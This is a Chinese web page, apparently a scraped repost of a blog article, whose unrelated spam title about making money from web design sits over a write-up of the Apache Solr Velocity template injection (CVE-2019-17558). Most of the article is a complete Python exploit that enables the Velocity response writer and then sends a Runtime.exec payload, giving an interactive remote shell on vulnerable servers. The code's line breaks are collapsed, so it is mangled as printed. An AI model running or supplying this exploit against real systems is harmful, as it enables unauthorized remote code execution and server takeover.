当前位置: 首页> 教育> 就业 > 通过网页制作能赚钱吗_公司网络运营团队方案_2023引流软件_站长号

通过网页制作能赚钱吗_公司网络运营团队方案_2023引流软件_站长号

时间:2025/7/20 2:20:43来源:https://blog.csdn.net/qq_62717550/article/details/144000713 浏览次数:0次
通过网页制作能赚钱吗_公司网络运营团队方案_2023引流软件_站长号

目录

漏洞描述

执行漏洞py脚本,取得shell连接

EXP


漏洞描述

        Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

执行漏洞py脚本,取得shell连接

F:\exphub-master\solr>python cve-2019-17558_cmd.py

EXP

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub
# telegram:t.me/zhzykerimport requests
import sys
import jsonif len(sys.argv)!=2:print('+------------------------------------------------------------+')print('+ DES: by zhzyker as https://github.com/zhzyker/exphub       +')print('+      Apache Solr Velocity Commons Remote Code Execution    +')print('+------------------------------------------------------------+')print('+ USE: python3 cve-2019-17558_cmd.py <url>                   +')print('+ EXP: python3 cve-2019-17558_cmd.py http://1.1.1.1:8983     +')print('+ VER: Apache Solr 5.0.0 - 8.3.1                             +')print('+------------------------------------------------------------+')sys.exit(0)url = sys.argv[1]core_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
try:r = requests.request("GET", url=core_url, timeout=10)core_name = list(json.loads(r.text)["status"])[0]print ("[+] GET API: "+url+"/solr/"+core_name+"/config")
except:print ("[-] Target Not Vuln Good Luck")sys.exit(0)api_url = url + "/solr/" +core_name+ "/config"
headers = {"Content-Type": "application/json"}
set_api_data ="""
{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
}
"""
api = requests.request("POST", url=api_url, data=set_api_data, headers=headers)
code = str(api.status_code)
if api.status_code == 200:print ("[+] <HTTP" +code+ "> SET API Success")
else:print ("[-] <HTTP" +code+ "> SET API Failed Good Luck")sys.exit(0)def do_exp(cmd):vuln_url = url+"/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"r = requests.request("GET", vuln_url)print (r.text)while 1:cmd = input("Shell >>> ")if cmd == "exit" : exit(0)do_exp(cmd)

关键字:通过网页制作能赚钱吗_公司网络运营团队方案_2023引流软件_站长号

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: